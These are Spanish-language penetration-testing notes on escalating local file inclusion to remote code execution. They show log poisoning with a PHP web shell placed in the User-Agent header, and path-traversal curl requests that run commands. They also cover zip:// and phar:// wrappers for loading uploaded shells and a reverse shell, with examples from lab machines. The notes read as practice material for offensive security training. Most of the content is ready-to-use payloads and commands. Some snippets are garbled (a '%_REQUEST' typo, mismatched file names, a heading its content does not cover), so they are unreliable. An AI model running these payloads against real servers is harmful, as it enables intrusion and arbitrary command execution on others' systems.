LFI: Podemos CARGAR y EJECUTAR archivos en el contexto del usuario el cual está corriendo el servidor.
Impacto
Ejecución de código en el servidor web.
Ejecución de código en el cliente (como JavaScript), lo que puede causar ataques como XSS.
Denegación de servicio (DoS).
Divulgación de información confidencial.
LFI TO RCE via Log Poisoning
Esta técnica se centra en envenenar los logs con comandos para luego, al cargar dichos logs se interprete nuestro código y tengamos ejecución remota de comandos (RCE).
// Insertar en user agent: <?php echo system($_GET['cmd']); ?>
GET /index.php?page=admin.php HTTP/1.1
HOST: r4z0r.gitbook.io
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Accept: ….
Paso 2: Ejecutar el código con curl
curl https://r4z0r.gitbook.io/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami
// en caso que se rompa la consulta con espacio usar %20 -> ls%20-la
La explotación de LFI en Windows sólo difiere de Linux en lo que respecta a las rutas de los archivos y la ejecución del código. El fragmento de código PHP que utilizamos en esta sección para Linux también funciona en Windows, ya que utilizamos la función del sistema PHP que es independiente del sistema operativo subyacente. Cuando utilizamos Log Poisoning en Windows, debemos entender que los archivos de registro se encuentran en rutas específicas de la aplicación. Por ejemplo, en un objetivo que ejecuta XAMPP , los registros de Apache se pueden encontrar en C:\xampp\apache\logs\ .
LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning
echo "<?php system(%_REQUEST['cmd']); ?>" > shell.php
zip -0 payload.zip payload.php;
mv payload.zip shell.jpg;
hhttps://r4z0r.gitbook.io/index.php?page=zip://shell.jpg%23payload.php - donde payload.php es el contenido del zip
// ziper proving grounds
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303041.zip%23shell&cmd=whoami // Donde shell es la shell.php que subimos y cmd es el parámetro. En este caso no había que poner shell.php porque ya lo agregaba solo a la extensión
http://192.168.181.229/index.php?file=zip://uploads/upload_1716303311.zip%23php-reverse-shell
// subir un zip y cargarlo con phar - máquina resourced de hackthebox, reverse.php es la de pentest-monkey.
zip rev.zip reverse.php
itrc.ssg.htb/index.php?page=phar://uploads/faeea173dc4153f2e1c07a63da1917d51087bc30.zip/reverse